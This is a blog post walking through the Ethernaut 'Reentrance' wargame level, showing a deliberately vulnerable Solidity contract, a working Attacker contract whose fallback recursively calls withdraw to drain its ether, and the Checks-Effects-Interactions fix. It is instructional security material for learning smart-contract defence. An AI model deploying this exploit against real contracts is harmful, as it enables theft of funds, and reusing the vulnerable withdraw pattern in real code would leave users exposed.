DEV Community

Cover image for Ethernaut - Lvl 10: Reentrancy
pacelliv
pacelliv

Posted on

Ethernaut - Lvl 10: Reentrancy

Requirements: Basic knowledge of Solidity smart contracts and Remix IDE.

The challenge 🤼‍♀️🤼

Steal all the funds from the following contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
Enter fullscreen mode Exit fullscreen mode

Inspecting the contract 🔎🔍

Reentrance is a contract that allows donors to give ether to any account via the donate function, the receive function doesn't update the balance of the beneficiary.

balances keeps track of the total amount donated to each beneficiary and that amount can be read with the balanceOf method.

The beneficiaries can withdraw ether they have received with the withdraw method and only if they have received an amount greater or equal to the amount they want to withdraw.

The contract implements the SafeMath library from OpenZeppelin to protect the arithmetic operations from underflow and overflow.

Reentrancy 🔄

A reentrancy attack has been the most destructive type of hack that smart contracts have suffered, this attack occurs when a smart contract makes an external call to an untrusted or malicious contract that with his fallback creates a recursive call back to the original function in an attempt to drain funds.

That's a good definition for a reentrancy attack but how is Reentrancy vulnerable to this type of attack?

When an user calls withdraw, the function sends the amount to withdraw by the user and only after that call is finished the balance of the donor in the contract is updated. This flow does not follow the Check-Effect-Interactions pattern recommended for functions making it exploitable with a Reentrancy attack.

Given the fact that the function first sends the ether and then updates the balance, that means the function can be re-entered during the execution of the call function to recursively invoke call to send amount again to the user.

Draining Reentrance 😈

A reentrancy attack can only be done with a smart contract, so let's create our attacker contract:

interface IReentrance {
    function donate(address _to) external payable;

    function withdraw(uint _amount) external; 
}

contract Attacker {
    IReentrance private immutable reentrance;
    uint256 private constant amountToWithdraw = 1000000000000000;

    constructor (address _reentranceAddr) {
        reentrance = IReentrance(_reentranceAddr);
    }

    fallback() external payable {
        if(address(reentrance).balance >= amountToWithdraw) {
            reentrance.withdraw(amountToWithdraw);
        }
    }

    function attack() external payable {
        reentrance.donate{value: amountToWithdraw}(address(this));
        reentrance.withdraw(amountToWithdraw);
    }
}
Enter fullscreen mode Exit fullscreen mode

attack will make a call to donate ether to itself and then it will call withdraw; after Reentrance sends the ether to Attacker the fallback function will be triggered making a new call to withdraw and this cycle will last until the balance in Reentrance goes below amountToWithdraw.

The if-statement is important because it breaks the cycle otherwise an infinite loop is created, this will drain the gas in the transacion and the funds in Reentrance will not be drained.

Before making the attack let's check the balance in Reentrance:

await web3.eth.getBalance(contract.address).then(bal => bal.toString()) // should return 1000000000000000 or 0.001 ether
Enter fullscreen mode Exit fullscreen mode

Deploy Attack with the address of the Reentrance and then invoke attack sending the 1000000000000000 wei with the transaction.

After the transaction is completed check again the balance of Reentrance and it should be zero.

Submit the instance to complete the level.

Conclusion 💯

If your function is going to make external calls to smart contracts always assume that contract is malicious and design your function to be secure against attacks like reentrancy.

If the developer had followed the Checks-Effects-Interactions pattern then he would have updated the balance first before sending the ether or making an external call.

By doing that when Attacker receives the ether after the first withdraw, the fallack is triggered but the condition would have been false because the balance of the contract in Reentrance is zero.

Further reading 👀

Top comments (0)